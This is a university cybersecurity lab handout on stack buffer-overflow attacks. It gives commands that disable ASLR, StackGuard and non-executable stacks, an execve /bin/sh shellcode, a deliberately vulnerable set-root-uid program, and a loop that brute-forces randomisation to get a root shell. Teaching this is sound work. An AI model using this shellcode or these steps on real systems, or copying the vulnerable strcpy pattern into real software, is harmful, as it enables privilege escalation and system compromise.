CITS 3004
Cybersecurity

THE UNIVERSITY OF WESTERN AUSTRALIA

Lab 5: BoF

Task 1: Buffer Overflow

Additional materials (1A4 & 1A5) added by Jin Hong

1A) SETUP

You can execute the lab tasks using our pre-built `Ubuntu` virtual machines. `Ubuntu` and other Linux distributions have implemented several security mechanisms to make the buffer-overflow attack difficult. To simply our attacks, we need to disable them first.

1A1) Address Space Randomization

`Ubuntu` and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable these features using the following commands:

```
$ su root
  Password: (enter root password)
$sysctl -w kernel.randomize_va_space=0
```

1A2) The StackGuard Protection Scheme

The GCC compiler implements a security mechanism called "StackGuard" to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You can disable this protection if you compile the program using the `-fno-stack-protector` switch. For example, to compile a program `example.c` with StackGuard disabled, you may use the following command:

```
$ gcc -fno-stack-protector example.c
```

1A3) Non-Executable Stack

`Ubuntu` used to allow executable stacks, but this has now changed: the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the recent

versions of `gcc`, and by default, the stack is set to be non-executable. To change that, use the following option when compiling programs:

```
For executable stack:
$ gcc -z execstack -o test test.c

For non-executable stack:
$ gcc -z noexecstack -o test test.c
```

1A4) Shellcode

Before you start the attack, you need a shellcode. A shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following program:

```
#include <stdio.h>

int main( ) {
     char *name[2];

     name[0] = ``/bin/sh'';
     name[1] = NULL;
     execve(name[0], name, NULL);
}
```

The shellcode that we use is just the assembly version of the above program. The following program shows you how to launch a shell by executing a shellcode stored in a buffer. Compile and run the following code, and see whether a shell is invoked.

```
/* call_shellcode.c */
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
"\x31\xc0"       /* Line 1:  xorl    %eax,%eax              */
"\x50"           /* Line 2:  pushl   %eax                   */
"\x68""//sh"     /* Line 3:  pushl   $0x68732f2f            */
"\x68""/bin"     /* Line 4:  pushl   $0x6e69622f            */
"\x89\xe3"       /* Line 5:  movl    %esp,%ebx              */
"\x50"           /* Line 6:  pushl   %eax                   */
"\x53"           /* Line 7:  pushl   %ebx                   */
"\x89\xe1"       /* Line 8:  movl    %esp,%ecx              */
"\x99"           /* Line 9:  cdq                            */
"\xb0\x0b"       /* Line 10: movb    $0x0b,%al              */
"\xcd\x80"       /* Line 11: int     $0x80                  */
;

int main(int argc, char **argv)
{
     char buf[sizeof(code)];
     strcpy(buf, code);
     ((void(*)( ))buf)( );
}
```

Use the following command to compile the code (don't forget the `execstack` option):

```
$ gcc -z execstack -o call_shellcode call_shellcode.c
```

A few places in this shellcode are worth mentioning. First, the third instruction pushes `//sh`, rather than `/sh` into the stack. This is because we need a 32-bit number here, and `/sh` has only 24 bits. Fortunately, "//" is equivalent to "/", so we can get away with a double slash symbol. Second, before calling the `execve()` system call, we need to store `name[0]` (the address of the string), `name` (the address of the array), and `NULL` to the `\%ebx`, `\%ecx`, and `\%edx` registers, respectively. Line 5 stores `name[0]` to `\%ebx`; Line 8 stores `name` to `\%ecx`; Line 9 sets `\%edx` to zero. There are other ways to set `\%edx` to zero (e.g., `xorl \%edx, \%edx`; the one (`cdq`) used here is simply a shorter instruction: it copies the sign (bit 31) of the value in the EAX register (which is 0 at this point) into every bit position in the EDX register, basically setting `\%edx` to 0. Third, the system call `execve()` is called when we set `\%al` to 11, and execute ``int \$0x80''.

1A5) Converting assembly code to bytecode

At this point, you might be wondering how the shellcode was generated. The shellcode is essentially a bytecode generated from the assembly code [3]. The assembly code is written in a low level programming language typically not human-friendly. But using the assembly code, we can do many different instructions, such as getting the shell. First, we need to install the `nasm` package.

```
$ sudo apt-get install nasm
```

We will use the below vulnerable code to test our assembly to byte code. It simply executes the bytecode stored inside the `code` variable.

```
/*test.c*/
char code[] = "bytecode will go here!";
int main(int argc, char **argv)
{
    int (*func)();
    func = (int (*)()) code;
    (int)(*func)();
}
```

CITS 3004
Cybersecurity

Below is the assembly code for outputting "hello" to the stdout (i.e., the terminal).

```
;hello.asm
[SECTION .text]

global _start


_start:

        jmp short ender

        starter:

        xor eax, eax    ;clean up the registers
        xor ebx, ebx
        xor edx, edx
        xor ecx, ecx

        mov al, 4       ;syscall write
        mov bl, 1       ;stdout is 1
        pop ecx         ;get the address of the string from the stack
        mov dl, 5       ;length of the string
        int 0x80

        xor eax, eax
        mov al, 1       ;exit the shellcode
        xor ebx,ebx
        int 0x80

        ender:
        call starter      ;put the address of the string on the stack
        db 'hello'
```

To convert the assembly code into bytecode, we need to first create an object file using the `nasm` tool.

```
$ nasm -f elf hello.asm
```

Then, we create an executable file from the object file using the `ld` tool (should be installed on the VM).

```
$ ld -o hello hello.o
```

Finally, we dump the executable object to get the bytecode using the objdump tool.

```
$ objdump -d hello
```

You should see something similar to the below.

```
hello:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:         eb 19                    jmp    804807b <ender>

08048062 <starter>:
 8048062:         31 c0                    xor    %eax,%eax
 8048064:         31 db                    xor    %ebx,%ebx
 8048066:         31 d2                    xor    %edx,%edx
 8048068:         31 c9                    xor    %ecx,%ecx
 804806a:         b0 04                    mov    $0x4,%al
 804806c:         b3 01                    mov    $0x1,%bl
 804806e:         59                       pop    %ecx
 804806f:         b2 05                    mov    $0x5,%dl
 8048071:         cd 80                    int    $0x80
 8048073:         31 c0                    xor    %eax,%eax
 8048075:         b0 01                    mov    $0x1,%al
 8048077:         31 db                    xor    %ebx,%ebx
 8048079:         cd 80                    int    $0x80

0804807b <ender>:
 804807b:         e8 e2 ff ff ff           call   8048062 <starter>
 8048080:         68 65 6c 6c 6f           push   $0x6f6c6c65
```

All we now have to do is extract the bytecode used for the assembly code (i.e., all the hex values). Then, we can create the `code` string as below in our `test.c` code. Note, you should have generated the exact same bytecode as below.

```
char code[] =
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\
xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6
c\x6c\x6f";
```

Now compile the test.c code to observe the word "hello" is printed onto the terminal.

```
$ gcc -z execstack -o test test.c
```

Note: You must ensure that the address space randomisation has been turned off.

At this point, now you can find any assembly code (lots online) and convert them into a bytecode to run.

CITS 3004
Cybersecurity

THE UNIVERSITY OF WESTERN AUSTRALIA

1A6) The Vulnerable Program

```
/* stack.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str){
    char buffer[24];
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    return 1;
}

int main(int argc, char **argv){
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

Compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling it in the `root` account, and `chmod` the executable to `4755`:

```
$ su root
Password (enter root password)
$ gcc -o stack -z execstack -fno-stack-protector stack.c
$ chmod 4755 stack
$ exit
```

and in order for it to spawn a root shell you need to change the owner of stack and allow access for normal users:

```
sudo chown root:root stack
sudo chmod u+s stack
```

The above program has a buffer overflow vulnerability. It first reads an input from a file called “badfile”, and then passes this input to another buffer in the function `bof()`. The original input can have a maximum length of 517 bytes, but the buffer in `bof()` has only 12 bytes long. Because `strcpy()` does not check boundaries, buffer overflow will occur. Since this program is a set-root-uid program, if a normal user can exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be noted that the program gets its input from a file called “badfile”. This file is under users' control. Now, our objective is to create the contents for “badfile”, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

CITS 3004
Cybersecurity

THE UNIVERSITY OF WESTERN AUSTRALIA

1B) EXPLOITING THE VULNERABILITY

We provide you with a completed exploit code called `exploit.c`. You should spend some time trying to understand the content of the code. The goal of this code is to construct contents for "badfile". In this code, the shellcode is given to you. You need to test that the code is working. Compile and run the program. This will generate the contents for "badfile". Then run the vulnerable program `stack`.

Important: Compile your vulnerable program first. Note that the program `exploit.c`, which generates the bad file, can be compiled with the default StackGuard protection enabled. This is because we are not going to overflow the buffer in this program. We will be overflowing the buffer in `stack.c`, which is compiled with the StackGuard protection disabled.

```
seed@VM: $ gcc -o exploit exploit.c
seed@VM: $./exploit  // create the badfile
seed@VM: $./stack    // launch the attack by running the vulnerable program
$                    //<---- Bingo! You've got a shell!
```

It should be noted that although you have obtained the "`\$`" prompt, your real user id may still be yourself (the effective user id is now root). You can check this by typing the following:

```
$ id
uid=(500) euid=0(root)
```

Many commands will behave differently if they are executed as `Set-UID root` processes, instead of just as `root` processes, because they recognize that the real user id is not `root`. To solve this problem, you can run the following program to turn the real user id to `root`. This way, you will have a real `root` process, which is more powerful.

```
void main()
{
setuid(0); system("/bin/sh");
}
```

Answer Q1 ~ Q3 on LMS

1C) BOF PROTECTION MECHANISMS

1C1) Address Space Randomization

Now, we turn on the Ubuntu's address randomization. We run the same attack developed in question 1B. Can you get a shell? If not, what is the problem? How does the address randomization make your attacks difficult? You can use the following instructions to turn on the address randomization:


```
$ su root
  Password: (enter root password)
$ /sbin/sysctl -w kernel.randomize_va_space=2
```

If running the vulnerable code once does not get you the root shell, how about running it for many times? You can run `./stack` in the following loop , and see what will happen. You should be able to get the root shell after a while. You can modify your exploit program to increase the probability of success (i.e., reduce the time that you have to wait).

```
$ sh -c "while [ 1 ]; do ./stack; done;"
```

1C2) StackGuard

Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection.

In our previous tasks, we disabled the "StackGuard" protection mechanism in GCC when compiling the programs. In this task, you may consider repeating question 1B with the StackGuard enabled. To do that, you should compile the program without the `-fno-stack-protector` option. For this task, you will recompile the vulnerable program, `stack.c`, to use GCC's StackGuard, execute question 1B again, and observe what happens. You should read [2] for more details on StackGuard.

In the GCC 4.3.3 and newer versions, StackGuard is enabled by default. Therefore, you have to disable StackGuard using the switch mentioned before. In earlier versions, it was disabled by default. If you use an older GCC version, you may not have to disable StackGuard.

1C3) Non-executable Stack

Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection.

In our previous tasks, we intentionally made stacks executable. In this task, we recompile our vulnerable program using the `noexecstack` option, and repeat the attack in question 1B. Can you get a shell? If not, what is the problem? How does this protection scheme make your attacks difficult? You can use the following instructions to turn on the non-executable stack protection.

```
# gcc -o stack -fno-stack-protector -z noexecstack stack.c
```

It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting a buffer-overflow vulnerability. The **return-to-libc** attack is an example.

Answer Q4 ~ Q7 on LMS

CITS 3004
Cybersecurity

References

1. Aleph One. Smashing The Stack For Fun And Profit. Phrack 49, Volume 7, Issue 49. Available at http://www.cs.wright.edu/people/faculty/tkprasad/courses/cs781/alephOne.html
2. StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks https://www.usenix.org/legacy/publications/library/proceedings/sec98/full_papers/cowan/cowan.pdf
3. Shellcoding Tutorial http://www.vividmachines.com/shellcode/shellcode.html